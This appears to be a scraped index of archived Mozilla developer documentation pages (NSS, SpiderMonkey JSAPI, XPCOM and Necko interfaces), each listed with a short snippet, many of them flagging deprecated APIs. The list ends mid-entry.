decoderstart sec_pkcs12decoderimportbags sec_pkcs12decoderupdate sec_pkcs12decoderfinish sec_pkcs12decodervalidatebags sec_pkcs12decoderverify sec_pkcs12decodergetcerts sec_pkcs12decodersettargettokencas sec_pkcs12decoderiterateinit sec_pkcs12decoderiteratenext sec_pkcs12isencryptionallowed sec_pkcs12setpreferredcipher nspr functions a small number of nspr functions are required for using the certificate verification and ssl functions in nss.
OLD SSL Reference
pk11_findcertfromnickname pk11_findkeybyanycert pk11_getslotname pk11_gettokenname pk11_ishw pk11_ispresent pk11_isreadonly pk11_setpasswordfunc chapter 8 nss and ssl error codes nss error codes are retrieved using the nspr function pr_geterror.
S/MIME functions
the public functions listed here perform s/mime operations using the s/mime toolkit.
NSS_3.12.3_release_notes.html
bug 472749: softoken permits aes keys of any length to be created bug 473147: pk11mode tests fails on aix when using shareable dbs.
NSS Tools cmsutil
using cmsutil newsgroup: mozilla.dev.tech.crypto the cmsutil command-line utility uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages.
NSS Tools sslstrength
you can tell if you stepped-up, because the output will says 'using export policy', and you'll find the secret key size was 128-bits.
Multithreading in Necko
the file transport is confusingly named since it is not restricted to loading files.
Proxies in Necko
therefore, nsisockettransportservice supports creating socket transports using an nsiproxyinfo.
Rhino Debugger
current limitations: no breakpoint menu using the rhino javascript debugger the mozilla rhino javascript engine includes a source-level debugger for debugging javascript scripts.
Rhino documentation
using rhino with bean scripting framework (bsf) how to use rhino with apps that support bsf (bean scripting framework) from the apache jakarta project.
Rhino overview
in browser embeddings, this language version is selected using the language attribute of the script tag with values such as "javascript1.2".
Performance Hints
with using the with statement prevents the compiler from generating code for fast access to local variables.
Future directions
no fundamental blockers currently exist, but ctypes is still using nspr's runtime library loading facilities.
GCIntegration - SpiderMonkey Redirect 1
for pointers that are traced using js_call_tracer we will most likely change the api so that the address of the pointer being traced is passed in, rather than the pointer itself.
GC Rooting Guide
there are some situations when using js::rooted<t> is not possible, or is undesirable for performance reasons.
64-bit Compatibility
the best way to fix this is to make types explicit, such as: const uintptr_t pointer_tagbits = 3 or by using a cast inside the macro.
Statistics API
the following adds an observer using the jetpack framework.
SpiderMonkey Internals: Thread Safety
see js_threadsafe for a gentler introduction to using spidermonkey in a multi-threaded application.
Tracing JIT
the recorder records the activity of the interpreter, using nanojit to build an efficient, native representation of the execution called a fragment.
BOOLEAN_TO_JSVAL
try to avoid using it.
DOUBLE_TO_JSVAL
try to avoid using it.
INT_TO_JSVAL
try to avoid using it.
JS::Add*Root
try to avoid using it.
JS::Compile
see also the jsapi user guide contains example code using compiled scripts.
JS::CompileFunction
see also the jsapi user guide contains example code using compiled scripts.
JS::CompileOffThread
see also the jsapi user guide contains example code using compiled scripts.
JS::CompileOptions
this allows an attack by which a malicious website loads a sensitive file (say, a bank statement) cross-origin (using the user's cookies), and sniffs the generated syntax errors (via a window.onerror handler) for juicy morsels of its contents.
JS::MutableHandle
a js::mutablehandle<t> can be created from a js::rooted&lt;t&gt; by using |js::rooted<t>::operator&()|.
JS::Remove*Root
try to avoid using it.
JSAutoByteString
so ensure the string is returned by operator!() before using ptr() method.
JSBool
try to avoid using it.
JSEnumerateOp
jsclass hooks jsclass offers following hook: the jsclass.enumerate hook is for classes that implement lazy properties using jsclass.resolve.
JSExtendedClass.outerObject
try to avoid using it.
JSExtendedClass
try to avoid using it.
JSExtendedClass.wrappedObject
try to avoid using it.
JSFUN_BOUND_METHOD
try to avoid using it.
JSFUN_GLOBAL_PARENT
try to avoid using it.
JSFunction
instead of using js_callfunction, for example, it must call js_callfunctionvalue.
JSGetObjectOps
try to avoid using it.
JSIteratorOp
try to avoid using it.
JSNewEnumerateOp
return the next jsid in the iteration using *idp.
JSObjectOp
try to avoid using it.
JSObjectOps.defineProperty
try to avoid using it.
JSObjectOps.destroyObjectMap
try to avoid using it.
JSObjectOps.getAttributes
try to avoid using it.
JSObjectOps.getProperty
try to avoid using it.
JSObjectOps.getRequiredSlot
try to avoid using it.
JSObjectOps.lookupProperty
try to avoid using it.
JSObjectOps.newObjectMap
try to avoid using it.
JSObjectOps.setProto
try to avoid using it.
JSPrincipalsTranscoder
jsprincipalstranscoder is the type of a security callback that can be configured using js_setprincipalstranscoderjsapi 1.8 and earlier or js_setruntimesecuritycallbacksadded in spidermonkey 1.8.1.
JSPropertySpec
this value should be zero if you are not using tinyids (i.e.
JSRuntime
earlier versions allowed using js_clearcontextthread and other functions to move a jscontext from one thread to another.
JSVAL_IS_BOOLEAN
try to avoid using it.
JSVAL_IS_DOUBLE
try to avoid using it.
JSVAL_IS_GCTHING
try to avoid using it.
JSVAL_IS_INT
try to avoid using it.
JSVAL_IS_NUMBER
try to avoid using it.
JSVAL_IS_OBJECT
try to avoid using it.
JSVAL_IS_PRIMITIVE
try to avoid using it.
JSVAL_IS_STRING
try to avoid using it.
JSVAL_IS_VOID
try to avoid using it.
JSVAL_LOCK
try to avoid using it.
JSVAL_NULL
try to avoid using it.
JSVAL_ONE
try to avoid using it.
JSVAL_TO_BOOLEAN
try to avoid using it.
JSVAL_TO_DOUBLE
try to avoid using it.
JSVAL_TO_INT
try to avoid using it.
JSVAL_TO_OBJECT
try to avoid using it.
JSVAL_TO_STRING
try to avoid using it.
JSVAL_TRUE
try to avoid using it.
JSVAL_UNLOCK
try to avoid using it.
JSVAL_VOID
try to avoid using it.
JSVAL_ZERO
try to avoid using it.
JSXDRObjectOp
try to avoid using it.
JS_AddArgumentFormatter
try to avoid using it.
JS_Add*Root
try to avoid using it.
JS_AliasElement
try to avoid using it.
JS_AliasProperty
try to avoid using it.
JS_CStringsAreUTF8
try to avoid using it.
JS_CheckAccess
try to avoid using it.
JS_ClearNonGlobalObject
try to avoid using it.
JS_ClearScope
try to avoid using it.
JS_CloneFunctionObject
try to avoid using it.
JS_CompileFunction
try to avoid using it.
JS_CompileFunctionForPrincipals
try to avoid using it.
JS_CompileScript
see also the jsapi user guide contains example code using compiled scripts.
JS_CompileScriptForPrincipals
try to avoid using it.
JS_ContextIterator
try to avoid using it.
JS_ConvertArgumentsVA
try to avoid using it.
JS_DefineFunctions
this array is usually defined as a static global, with each record initialized using js_fs or js_fn.
JS_DefineOwnProperty
try to avoid using it.
JS_DefinePropertyWithTinyId
try to avoid using it.
JS_DeleteElement2
try to avoid using it.
JS_DeleteProperty2
try to avoid using it.
JS_DoubleToInt32
try to avoid using it.
JS_DumpHeap
try to avoid using it.
JS_DumpNamedRoots
try to avoid using it.
JS_EncodeCharacters
try to avoid using it.
JS_EnterCompartment
this article covers features introduced in spidermonkey 24 note: the preferred way of changing a context's current compartment is using jsautocompartment.
JS_EnterCrossCompartmentCall
try to avoid using it.
JS_Enumerate
the application must free this array using js_destroyidarray.
JS_EnumerateResolvedStandardClasses
try to avoid using it.
JS_EvaluateScript
try to avoid using it.
JS_EvaluateScriptForPrincipals
try to avoid using it.
JS_ExecuteScript
the jsapi user guide contains example code using compiled scripts.
JS_ExecuteScriptPart
try to avoid using it.
JS_ExecuteScriptVersion
try to avoid using it.
JS_Finish
try to avoid using it.
JS_FlushCaches
try to avoid using it.
JS_ForgetLocalRoot
try to avoid using it.
JS_GET_CLASS
try to avoid using it.
JS_GetContextThread
try to avoid using it.
JS_GetExternalStringClosure
try to avoid using it.
JS_GetFlatStringChars
try to avoid using it.
JS_GetFunctionFlags
try to avoid using it.
JS_GetGlobalForScopeChain
try to avoid using it.
JS_GetGlobalObject
try to avoid using it.
JS_GetInstancePrivate
in this case, js_getinstanceprivate tests whether or not there is a function name associated with the argument vector, and if there is, reports the name in an error message using the js_reporterror function.
JS_GetInternedStringChars
try to avoid using it.
JS_GetOptions
try to avoid using it.
JS_GetPropertyAttributes
try to avoid using it.
JS_GetPropertyDefault
try to avoid using it.
JS_GetScopeChain
try to avoid using it.
JS_GetStringBytes
try to avoid using it.
JS_GetStringChars
try to avoid using it.
JS_GetStringCharsAndLength
try to avoid using it.
JS_GetStringEncodingLength
you can use this value to create a buffer to encode the string into using the js_encodestringtobuffer function.
JS_GetStringLength
because some unicode characters are represented using two 16-bit code units, the result is not necessarily the same as the number of unicode characters in the string.
JS_GetTypeName
try to avoid using it.
JS_HasArrayLength
try to avoid using it.
JS_InitClass
javascript code can create new instances using the new keyword.
JS_IsAssigning
try to avoid using it.
JS_IsConstructing_PossiblyWithGivenThisObject
try to avoid using it.
JS_LeaveCompartment
this article covers features introduced in spidermonkey 24 note: the preferred way of changing a context's current compartment is using jsautocompartment.
JS_LeaveCrossCompartmentCall
try to avoid using it.
JS_LeaveLocalRootScope
try to avoid using it.
JS_LeaveLocalRootScopeWithResult
try to avoid using it.
JS_Lock
try to avoid using it.
JS_LockGCThing
try to avoid using it.
JS_LookupElement
try to avoid using it.
JS_MakeStringImmutable
try to avoid using it.
JS_MaybeGC
such applications can benefit from implementing their own custom-tuned maybe-gc function that conditionally calls js_gc on the basis of some application-specific analysis, and using that instead of js_maybegc.
JS_NewCompartmentAndGlobalObject
try to avoid using it.
JS_NewContext
the application must call js_destroycontext when it is done using the context.
JS_NewDateObject
description creates and returns a new jsobject representing a javascript date object, which is pre-configured using the specified values.
JS_NewExternalString
if you use this as a pointer, you should clean it up in the external string finalizer that was previously set up using js_addexternalstringfinalizer.
JS_NewObject
starting with gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5), you can create a new object in a specific compartment using the components.utils.createobjectin() method.
JS_NewPropertyIterator
try to avoid using it.
JS_NewRuntime
(the engine may use helper threads internally, though.) on success, js_newruntime returns a pointer to the newly created runtime, which the caller must later destroy using js_destroyruntime.
JS_ObjectIsFunction
description js_objectisfunction tests whether obj is a function object (faster than comparing obj's class name to function, but equivalent unless someone has overwritten the function identifier with a different constructor and then created instances using that constructor that might be passed in as obj).
JS_ParseJSON
this article covers features introduced in spidermonkey 1.8.6 parse a string using the json syntax described in ecmascript 5 and return the corresponding value.
JS_PopArguments
try to avoid using it.
JS_PreventExtensions
in javascript this may be accomplished using the object.preventextensions method.
JS_PutEscapedString
description js_putescapedstring and js_putescapedstring write str into buffer escaping any non-printable or non-ascii character using \escapes for js string literals.
JS_RemoveExternalStringFinalizer
try to avoid using it.
JS_Remove*Root
try to avoid using it.
JS_ReportError
format const char * format string to convert into an error message using js_vsmprintf.
JS_RestoreExceptionState
restores the exception state from a jsexceptionstate object previously created using js_saveexceptionstate.
JS_SaveExceptionState
that object may then be used to restore again the context using js_restoreexceptionstate, or discarded using js_dropexceptionstate.
JS_SealObject
try to avoid using it.
JS_SetArrayLength
js_setarraylength(cx, obj, n) is exactly the same as setting the length property of obj to n using js_setproperty.
JS_SetCallReturnValue2
try to avoid using it.
JS_SetGCZeal
(in a debug build of gecko, you can also set the current gc zeal level using the javascript.options.gczeal preference.) see also mxr id search for js_setgczeal mxr id search for js_gc_zeal js_schedulegc bug 308429 bug 650978 ...
JS_SetOptions
try to avoid using it.
JS_SetPendingException
a native function or hook using this to throw an exception must also return false to ensure the exception is thrown.
JS_SetPrivate
that object may already be using the private data field for something else; or there might not be a private data field in that object at all, in which case js_setprivate would overwrite an object property.
JS_SetPropertyAttributes
try to avoid using it.
JS_SetPrototype
take care not to create a circularly-linked list of prototypes using this function, because such a set of prototypes cannot be resolved by the javascript engine and can easily lead to an infinite loop.
JS_SetThreadStackLimit
try to avoid using it.
JS_SetVersion
try to avoid using it.
JS_SuspendRequest
try to avoid using it.
JS_ToggleOptions
try to avoid using it.
JS_TracerInit
try to avoid using it.
JS_Unlock
try to avoid using it.
JS_ValueToBoolean
try to avoid using it.
JS_ValueToECMAInt32
try to avoid using it.
JS_ValueToInt32
try to avoid using it.
JS_ValueToNumber
try to avoid using it.
JS_YieldRequest
try to avoid using it.
JS_malloc
implementation note: currently these four functions are implemented using the corresponding standard c functions.
OBJECT_TO_JSVAL
try to avoid using it.
PRIVATE_TO_JSVAL
try to avoid using it.
STRING_TO_JSVAL
try to avoid using it.
jschar
try to avoid using it.
jsint
try to avoid using it.
JSDBGAPI
ook js_setcallhook js_setobjecthook js_setthrowhook js_setdebugerrorhook js_setnewscripthook js_setdestroyscripthook js_getglobaldebughooks js_setcontextdebughooks memory usage js_getobjecttotalsize js_getfunctiontotalsize js_getscripttotalsize system objects js_issystemobject js_newsystemobject profiling these functions can be used to profile a spidermonkey application using the mac profiler, shark.
Parser API
interface xmlqualifiedidentifier <: expression { type: "xmlqualifiedidentifier"; left: identifier | xmlanyname; right: identifier | expression; computed: boolean; } an e4x qualified identifier, i.e., a pseudo-identifier using the namespace separator ::.
SpiderMonkey 1.8.7
they are no longer compatible; using js_valuetoid and js_idtovalue to convert between the two is mandatory.
SpiderMonkey 1.8.8
in the meantime moz_custom_stdint_h is intended to function as a bridge to always using the standard header.
SpiderMonkey 17
in the meantime moz_custom_stdint_h is intended to function as a bridge to always using the standard header.
SpiderMonkey 24
in the meantime moz_custom_stdint_h is intended to function as a bridge to always using the standard header.
Running Automated JavaScript Tests
basic usage is: jstests.py path_to_js_shell or using mach: ./mach jstests note that mach will generally find the js shell itself; the --shell argument can be used to specify the location manually.
Setting up CDT to work on SpiderMonkey
instead, change "build command" to read make -w (this is required because cdt needs detailed information about which directories make operates on, which using -w causes make to provide).
TPS History Lists
period, use an object with begin and end properties, which should have integer values that express time since the present in hours (see date above) for example: var history_to_delete = [ { uri: "http://www.cnn.com/" }, { begin: -24, end: -1 }, { host: "www.google.com" } ]; history lists and phase actions history lists cannot be modified, they can only be added, deleted, and verified, using the following functions: history.add history.delete history.verify history.verifynot ...
Mozinfo
you may display the value of these choices using mozinfo --os, mozinfo --bits, and mozinfo --processor.
History Service Design
places is designed to be a complete replacement for the firefox bookmarks and history systems using storage.
The Publicity Stream API
the publicity stream is provided as a central place for applications to publicize application usage for the purpose of notifying a user's friends of the applications which their friends are using.
FUEL
consider using the add-ons sdk instead fuel is a javascript library designed to help developers build extensions using terminology and interfaces that are familiar to them.
SMILE
this article covers features introduced in seamonkey 2 smile is a javascript library designed to help developers build extensions using terminology and interfaces that are familiar to them.
STEEL
consider using the functions found in appconstants.jsm or services.jsm instead steel is the scriptable thunderbird easy extension library.
XML Extras
domparser creation not available new domparser() xmlserializer creation not available new xmlserializer() minimal documentation for the components listed above can be found using mozilla documentation generated by doxygen.
Creating a Python XPCOM component
here is how to make the same component in python using pyxpcom.
Fun With XBL and XPConnect
once the regular xul textfield widget is bound to this interface, it calls the auto complete function of the object using regular javascript.
Packaging WebLock
using xpinstall, you can create web-based installations for gecko-based applications, mozilla extensions, or individual components.
Preface
this book assumes you are using the sdk rather than compiling in a mozilla source tree, though the difference between these two approaches is minimal.
XPCOM hashtable guide
items are found, added, and removed from the hashtable by using the key.
Components.ID
the exception to this is the case where a component is written in javascript and needs to register itself with the component manager using its own nsid - an id that is not already registered and thus does not appear in components.classes.
Components.classesByID
components.classesbyid is exactly like components.classes except that the elements are indexed by the canonical form of their cid, and does not only represent the component classes that have been registered with the component manager using a contractid, but also those registered using a plain cid.
Components.interfacesByID
usage you can retrieve an interface object using: var iface = components.interfacesbyid["{aa610f20-a889-11d3-8c81-000064657374}"]; ...
Components.lastResult
this is because many 'components' properties and methods are themselves implemented using xpconnect and subsequent calls to components.lastresult might reflect the result of 'implicit' xpconnect calls rather than the result of the target call.
Components.utils.createObjectIn
note that this function is now mostly obsolete when you are using sandbox, because you can create an object in a different compartment using new.
Components.utils.evalInWindow
example suppose a page script defines a variable: // page-script.js var somelocalvariable = { name: "selection1", node: document.documentelement }; an add-on script or other privileged script can access the variable using evalinwindow(): // add-on-script.js var result = components.utils.evalinwindow("somelocalvariable", contentwindow); console.log(result); // {"name":"selection1","node":{}} the add-on code can modify the variable as well, of course: // add-on-script.js components.utils.evalinwindow("somelocalvariable.newprop = 42", contentwindow); // page-script.js console.log(window.somelocalvariable.newprop)...
Components.utils.exportFunction
example export to global scope this add-on script defines a function, then exports it to a content window: // addon-script.js var salutation = "hello "; function greetme(user) { return salutation + user; } components.utils.exportfunction(greetme, contentwindow, {defineas: "foo"}); instead of using defineas, the script can assign the result of exportfunction to an object in the target scope: // addon-script.js var salutation = "hello "; function greetme(user) { return salutation + user; } contentwindow.foo = components.utils.exportfunction(greetme, contentwindow); either way, code running in the content window's scope can now call the function: // page-script.js var greeting = foo(...
Components.utils.isXrayWrapper
for example, privileged code using an xray to a dom object sees only the original, native version of the dom object.
Components.utils.schedulePreciseGC
using scheduleprecisegc() when you call components.utils.scheduleprecisegc(), you specify a callback that is executed in once the scheduled garbage collection has been completed: components.utils.scheduleprecisegc( function() { // this code is executed when the garbage collection has completed } ); since the garbage collection doesn't occur until some time in the future (unlike, for example, c...
Components.utils.unload
example you can unload a module called mymodule.jsm using the following line of code: components.utils.unload("resource://myaddon/modules/mymodule.jsm"); note: currently components.utils.unload clears the global object of an unloaded module.
Components.utils.waiveXrays
for example, privileged code using an xray to a dom object sees only the original, native version of the dom object.
Components object
the components object is actually a native instance of the nsixpccomponents interface which is reflected into javascript as a top level object using xpconnect.
Development
bugs all javaxpcom bugs are tracked in bugzilla, using the "core" product and "java to xpcom bridge" component.
JavaXPCOM
embedding mozilla in a java application using javaxpcom xulrunner ships with the javaxpcom component, which allows java code to interact with xpcom objects.
PyXPCOM
other resources pythonext - extension that provides pyxpcom samples - demo applications using pyxpcom community python-xpcom bindings mailing list (activestate) #pyxpcom on irc.mozilla.org source code the pyxpcom code is available here: http://hg.mozilla.org/pyxpcom/ to build pyxpcom, see building pyxpcom.
RbXPCOM
you can find additional information using the resource links below.
XPConnect wrappers
note that a previous version of the current page recommended using __exposedprops__ to expose objects from chrome to content.
HOWTO
using js modules and non-ui javascript chrome files problem you want to write a javascript file, and run it in xpcshell.
XPCShell Reference
you can specify multiple js files to execute by using multiple -f arguments, and the scripts will be executed in the order encountered.
Monitoring HTTP activity
this is done using the nsihttpactivitydistributor.addobserver() method in nsihttpactivitydistributor: var activitydistributor = components.classes["@mozilla.org/network/http-activity-distributor;1"] .getservice(components.interfaces.nsihttpactivitydistributor); activitydistributor.addobserver(httpobserver); observable activities there are two classes of observable activities: th...
nsDirectoryService
see also using nsidirectoryservice nsiproperties.get() nsidirectoryserviceprovider ...
NS_Alloc
« xpcom api reference summary infallibly allocates a block of memory using the xpcom memory manager.
NS_Free
« xpcom api reference summary frees a block of memory using the xpcom memory manager.
NS_NewNativeLocalFile
this string should be encoded using ascii or the multibyte character coding corresponding to the native filesystem.
NS_Realloc
« xpcom api reference summary reallocates a block of memory using the xpcom memory manager.
NS_ShutdownXPCOM
remarks you must call this method once you are finished using xpcom.
nsACString
it should be instantiated using a subclass, such as nsembedcstring.
nsAString
it should be instantiated using a subclass, such as nsembedstring .
nsCOMPtr
#include "nscomptr.h" remarks consult using nscomptr for more info.
nsDependentCString
this is similar to using substring(str, startpos), except that the resulting string is flat.
XPCOM glue classes
this is done using the functions addref() and release(), which respectively modify a variable of type nsautorefcnt, which basically is a wrapper around a count of the number of references refering to the class.nsstringclass declarationnsstring externalclass declarationnsstringcontainer (external)class declarationnssupportsweakreferenceinherit from this c++ class to add canonical support for nsisupportsweakreference...
IAccessibleAction
refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
IAccessibleRelation
refer to @ref _arrayconsideration "special consideration when using arrays" for more details.
IAccessibleText
the same functionality could be achieved by using the bounding boxes for each character as returned by characterextents().
imgICache
that means that using getservice in order to obtain it will yield incorrect results.
inIDOMUtils
getusedfontfaces() returns a list of the fonts specified using @font-face in the specified portion of the document.
jsdIStackFrame
line unsigned long current line number (using the script's pc to line map.) read only.
mozISpellCheckingEngine
language wstring the language this spell checker is using when checking.
mozIStorageRow
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: mozistoragevaluearray method overview nsivariant getresultbyindex(in unsigned long aindex); nsivariant getresultbyname(in autf8string aname); methods getresultbyindex() returns the value from a specific column in the row, using a zero-based index to identify the column.
mozIStorageStatementWrapper
params mozistoragestatementparams the parameters; these can be set in lieu of using the call notation on this.
nsIAbstractWorker
see also using web workers nsiworkermessageport nsiworkermessageevent nsiworkerscope nsiworkerglobalscope nsiworker ...
Value
widgets that use role attribute can force a value using the valuenow attribute.
nsIAccessibleDocument
try to avoid using it.
nsIAccessibleEvent
example to listen to in-process accessibility invents, make your object an nsiobserver, and listen for accessible-event by using code something like this: nscomptr<nsiobserverservice> observerservice = do_getservice("@mozilla.org/observer-service;1", &rv); if (ns_succeeded(rv)) { rv = observerservice->addobserver(this, "accessible-event", pr_true); } ...
nsIAccessibleProvider
xformsselect 0x00002009 used for select and select1 that are implemented using host document's native widget.
nsIAccessibleTreeCache
try to avoid using it.
nsIAnnotationObserver
see also places using the places annotation service using the places favicon service nsiannotationservice ...
nsIAsyncInputStream
method overview void asyncwait(in nsiinputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult astatus); constants constant value description wait_closure_only (1<<0) if passed to asyncwait(), this flag overrides the default behavior, causing the oninputstreamready notification to be suppressed until the stream becomes closed (either as a result of closewithstatus()/close being called on the stream or possibly due to some error in the underlying stream).
nsIAsyncOutputStream
method overview void asyncwait(in nsioutputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult reason); constants constant value description wait_closure_only (1<<0) if passed to asyncwait(), this flag overrides the default behavior, causing the onoutputstreamready notification to be suppressed until the stream becomes closed (either as a result of closewithstatus()/close being called on the stream or possibly due to some error in the underlying stream).
nsIAutoCompleteItem
value astring the result value using astring to avoid excess allocations.
nsIBrowserBoxObject
note: please consider using nsicontainerboxobject instead.
nsIBrowserSearchService
if a confirmation dialog is shown, it will offer the option to begin using the newly added engine right away; if no confirmation dialog is shown, the new engine will be used right away automatically.
nsICache
if you determine that it is not, then you would mark the cache entry as valid (using markvalid) and then simply read the data from the cache.
nsICategoryManager
this pointer must be released using nsimemory.free() when it is no longer needed.
nsIChannel
inherits from: nsirequest last changed in gecko 19.0 (firefox 19.0 / thunderbird 19.0 / seamonkey 2.16) once a channel is created (via nsiioservice.newchannel()), parameters for that request may be set by using the channel attributes, or by calling queryinterface() to retrieve a subclass of nsichannel for protocol-specific parameters.
nsIChannelEventSink
note: prior to gecko 2.0, redirect handling was synchronous, using the onchannelredirect() method.
nsIChromeRegistry
convertchromeurl() resolves a chrome url to an loadable uri using the information in the registry.
nsIClipboardDragDropHookList
you should access these capabilities indirectly by sending commands using the nsiclipboarddragdrophooks interface.
nsIClipboardHelper
see also nsiclipboard using the clipboard ...
nsICommandLine
state_remote_explicit 2 a remote command line explicitly redirected to this instance using xremote/windde/appleevents.
nsIComponentManager
void removebootstrappedmanifestlocation( in interface nsilocalfile alocation ); parameters examples using addbootstrappedmanifestlocation in a bootstrapped extension for firefox 8 and 9: alocation the directory or xpi to stop reading the chrome.manifest from.
nsIConsoleListener
listeners must first be attached to the service using nsiconsoleservice.registerlistener() void observe( in nsiconsolemessage amessage ); parameters amessage the nsiconsolemessage being posted.
nsIConsoleService
try to avoid using it.
nsIContentFrameMessageManager
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisyncmessagesender this interface provides the environment for scripts that are loaded into content frames using the nsiframescriptloader interface.
nsIContentPrefObserver
see also nsicontentprefservice using content preferences ...
nsIContentPrefService
or if aname is null or an empty string see also nsicontentprefservice2 nsicontentprefobserver using content preferences ...
nsIContentPrefService2
see also old synchronous api:nsicontentprefservice using content preferences ...
nsIContentView
support for using this api for all scrollable elements is coming; see bug 618975 for details.
nsIContentViewManager
note: the rectangle is specified using an anchor point, then four distances to indicate how far in each direction to expand the rectangle.
nsICookieStorage
try to avoid using it.
nsIDOMChromeWindow
notifydefaultbuttonloaded() when a document has been loaded, the document can notify the default button of the document to the window by using this method.
nsIDOMGeoGeolocation
starting in gecko 1.9.2, you can access this service using: var geolocation = components.classes["@mozilla.org/geolocation;1"] .getservice(components.interfaces.nsidomgeogeolocation); note: if nsidgeogeolocation throws an exception when importing, try using this: var geolocation = components.classes["@mozilla.org/geolocation;1"] .getservice(components.interfaces.nsisupports); method overview ...
nsIDOMGeoPosition
see also using geolocation ...
nsIDOMGeoPositionAddress
see also using geolocation ...
nsIDOMGeoPositionCallback
you need to implement this interface to accept callbacks after using nsidomgeolocation.watchposition().
nsIDOMMozNetworkStatsData
dom/network/interfaces/nsidomnetworkstats.idlscriptable represents a single record in the network statistics database, as reported using the nsidommoznetworkstatsmanager interface.
nsIDOMOfflineResourceList
note: this method is deprecated in firefox 3.5; you should instead access the list directly using the items attribute.
nsIDOMParser
thin the context of a window: var parser = new domparser(); var doc = parser.parsefromstring(astr, "application/xml"); outside of a window (e.g., a js xpcom component, a js module, or an xpcshell test): var parser = components.classes["@mozilla.org/xmlextras/domparser;1"] .createinstance(components.interfaces.nsidomparser); var doc = parser.parsefromstring(astr, "application/xml"); using components.constructor(): const domparser = new components.constructor("@mozilla.org/xmlextras/domparser;1", "nsidomparser"); var parser = new domparser(); parser.init(principal, documenturi, baseuri); var doc = parser.parsefromstring(astr, "application/xml"); ...
nsIDOMSerializer
ts.classes["@mozilla.org/xmlextras/xmlserializer;1"] .createinstance(components.interfaces.nsidomserializer); method overview void serializetostream(in nsidomnode root, in nsioutputstream stream, in autf8string charset); astring serializetostring(in nsidomnode root); methods serializetostream() the subtree rooted by the specified element is serialized to a byte stream using the character set specified.
nsIDOMStorageEventObsolete
try to avoid using it.
nsIDOMXPathException
see also introduction to using xpath in javascript document object model (dom) level 3 xpath specification nsidomxpathevaluator document.evaluate nsidomxpathresult ...
nsIDOMXPathResult
see also introduction to using xpath in javascript document object model (dom) level 3 xpath specification nsidomxpathevaluator document.evaluate nsidomxpathexception ...
nsIDirectoryService
see also using nsidirectoryservice nsdirectoryservice ...
nsIDirectoryServiceProvider2
if you are implementing this from js, you would be using components.returncode, but sadly this does not currently work (see bug 287107).
nsIDocumentLoader
try to avoid using it.
nsIDragDropHandler
use this to register where the listeners should attach (something that implements nspidomeventtarget which is what we end up using under the hood).
nsIEditorBoxObject
note: please consider using nsicontainerboxobject instead.
nsIEffectiveTLDService
that question is unanswerable with 100% accuracy using the psl, because what is a domain name is a property of the dns, which is different for different people.
nsIFaviconDataCallback
it's up to the caller to check adatalen > 0 before using any data-related information like mime-type or data itself.
nsIFeed
the hours are represented as integer values from 0 (midnight) to 23 (11:00 pm), and are always indicated using utc.
nsIFeedContainer
common namespaces are accessed using prefixes, such as get("dc:subject");.
nsIFeedEntry
this is generated automatically using the entry's description, subtitle, summary, content, and appropriate extensions.
nsIFeedProgressListener
programs using the feed content access api do not have to implement any of these callbacks; they are optional, but allow you to provide feedback during the parsing process.
nsIFileInputStream
note: using this flag results in the file not being opened during the call to init.
nsIFileOutputStream
note: using this flag results in the file not being opened during the call to init().
nsIFilePicker
} }); if your code is a component and window is not defined, you can get one using nsiwindowmediator.
nsIFormHistory2
lue); boolean nameexists(in astring name); void removeallentries(); void removeentriesbytimeframe(in long long abegintime, in long long aendtime); void removeentriesforname(in astring name); void removeentry(in astring name, in astring value); attributes attribute type description dbconnection mozistorageconnection returns the underlying db connection the form history module is using.
nsIFrameScriptLoader
by default, frame scripts each have their own scope, so they can declare global variables without causing conflicts with any other frame scripts.
nsIGeolocationProvider
see also using geolocation w3c geolocation specification ...
nsIGeolocationUpdate
see also using geolocation nsigeolocationprovider w3c geolocation specification ...
nsIHttpChannel
setreferrerwithpolicy() call this method to set the channel's referrer using the referrer policy indicated with one of the predefined constants.
nsIHttpServer
if the handler throws an * exception during server operation, fallback is to the genericized error * handler (the x00 version), then to 500, using a user-defined error * handler if one exists or the server default handler otherwise.
nsIIDNService
convertutf8toace() converts the specified hostname from utf-8 to ace format, using the idna "toascii" algorithm.
nsIIFrameBoxObject
note: please consider using nsicontainerboxobject instead.
nsIIOService
when in offline mode, attempts to access the network will fail (although this does not necessarily correlate with whether there is actually a network available -- that's hard to detect without causing the dialer to come up).
nsIInstallLocation
you can get the install location of a particular add-on using nsiextensionmanager interface: var il = components.classes["@mozilla.org/extensions/manager;1"] .getservice(components.interfaces.nsiextensionmanager) .getinstalllocation("add-on id") method overview astring getidforlocation(in nsifile file); nsifile getitemfile(in astring id, in astring path); nsifile getitemlocation(in astring id); nsifile getstag...
nsIJetpack
the code will be evaluated using at least javascript 1.8.1.
nsIJumpListBuilder
callers should begin the creation of a new jump list using initlistbuild(), add sub lists using addlisttobuild(), then commit the jump list using commitlistbuild().
nsILoginInfo
see also nsiloginmanager using nsiloginmanager ...
nsILoginManager
see also nsilogininfo using nsiloginmanager ...
nsILoginManagerStorage
the login manager will handle selecting and using the correct nsiloginmanangerstorage module.
nsILoginMetaInfo
1.0 66 introduced gecko 1.9.1 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) you can specifically modify these values by passing changes into nsiloginmanager.modifylogin() using an nsipropertybag2 object as the input.
nsIMIMEInputStream
the value of the content-length is automatically calculated using the available() method on the data stream.
nsIMacDockSupport
this is created by using the dockmenu attribute of nsimacdocksupport here: http://mxr.mozilla.org/mozilla-release/source/browser/base/content/browser.js#1562 this is seen here: if you were to copy and follow that example you would replace the default native menu.
nsIMarkupDocumentViewer
logical text will be reordered for presentation using the unicode bidi algorithm.
nsIMemory
a client that wishes to be notified of low memory situations (for example, because the client maintains a large memory cache that could be released when memory is tight) should register with the observer service (see nsiobserverservice) using the topic "memory-pressure".
nsIMemoryMultiReporter
xpcom/base/nsimemoryreporter.idlscriptable reports multiple memory measurements using a callback function that gets called once for each measurement.
nsIMenuBoxObject
openedwithkey boolean true if the menubar was opened using the keyboard; otherwise false.
nsIMessageListenerManager
